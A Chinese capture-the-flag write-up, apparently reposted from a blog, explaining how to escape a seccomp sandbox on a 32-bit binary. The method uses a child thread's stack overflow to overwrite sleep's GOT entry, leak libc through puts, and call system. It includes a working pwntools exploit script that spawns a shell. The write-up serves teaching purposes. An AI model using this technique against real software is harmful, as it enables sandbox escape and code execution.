利用子进程去绕过父进程沙箱
做这道题前最好快照一下,要不然虚拟机很容易崩-_-
保护测略
沙箱是一个白名单,只允许exit,read,write,rt_sigreturn,看到rt_sigreturn,哎我发现我的srop还没学。真菜。
程序分析
程序很简单,就是利用pthread_create开启一个子进程,之后进入一个函数,里面有一个栈溢出,和一个沙箱保护。
漏洞利用
因为有一个沙箱和nx保护,所以shellcode和orw用不了,但是它有一个子进程,我们可以从这里入手,在开始之前我们需要了解一点前置知识,就是子进程和父进程之间共享什么,又不共享什么。子进程的栈空间是通过父进程调用mmap函数映射出的一段空间,也就是说除了栈空间之外的代码段,数据段是共享的。因此我们可以修改sleep的got地址为代码段的某一处地址,不断控制返回地址(注意这个返回地址,一定要si一步一步调,)
i thread 查看有哪些进程
thread number 切换进程
调试过程
如下图所见,我们已近修改了sleep的got表地址,接下来在子进程中调用sleep函数时就会调用read函数,然后就可以在输入的过程中实现调用puts函数泄露地址并调试控制返回地址在为这个地址,再次输入完成调用system函数的调用传参(需要注意的点就是在调用read函数时,那个第二个参数是ebp-0x408的位置,q且在返回的时候有一个leave指令,所以说要注意输入的数据的规划来控制eip的指向)
在上图中我们发现过leave后eip最后指向ebp的地址,而输入的地址是ebp-0x408,ok大工完成
exp
from tools import *
p,e,libc=load("a")
context.log_level='debug'
debug(p,0x804880C)
read=0x804880C
main=0x80488E9
payload=b'a'*0x404+b'bbbb'+p32(0x0804a01c+0x408)+p32(e.plt['read'])+p32(main)+p32(0)+p32(e.got['sleep'])+p32(0x40)
p.sendline(payload)
pause()
payload=p32(read)
p.send(payload)
pause()
#payload=b'a'*0x3b0+p32(e.got['sleep']+0x408)#p32(e.plt['puts'])+p32(read)+p32(e.got['puts'])
payload=b'a'*0x3b0+p32(e.got['sleep']+0x408)+b'a'*0x8+p32(e.plt['puts'])+p32(0x0804880c)+p32(e.got['puts'])
p.send(payload)
libc_base=recv_libc()-libc.symbols['puts']
log_addr('libc_base')
payload=b'a'*0x40c+p32(libc.symbols['system']+libc_base)+p32(0xdeadbeef)+p32(libc_base+0x0017e1db)
pause()
p.send(payload)
p.interactive()
链接
通过创建的线程开启shell绕过沙箱 | ZIKH26's Blog
标签:libc,p32,沙箱,进程,got,绕过,payload From: https://www.cnblogs.com/trunk/p/16876798.html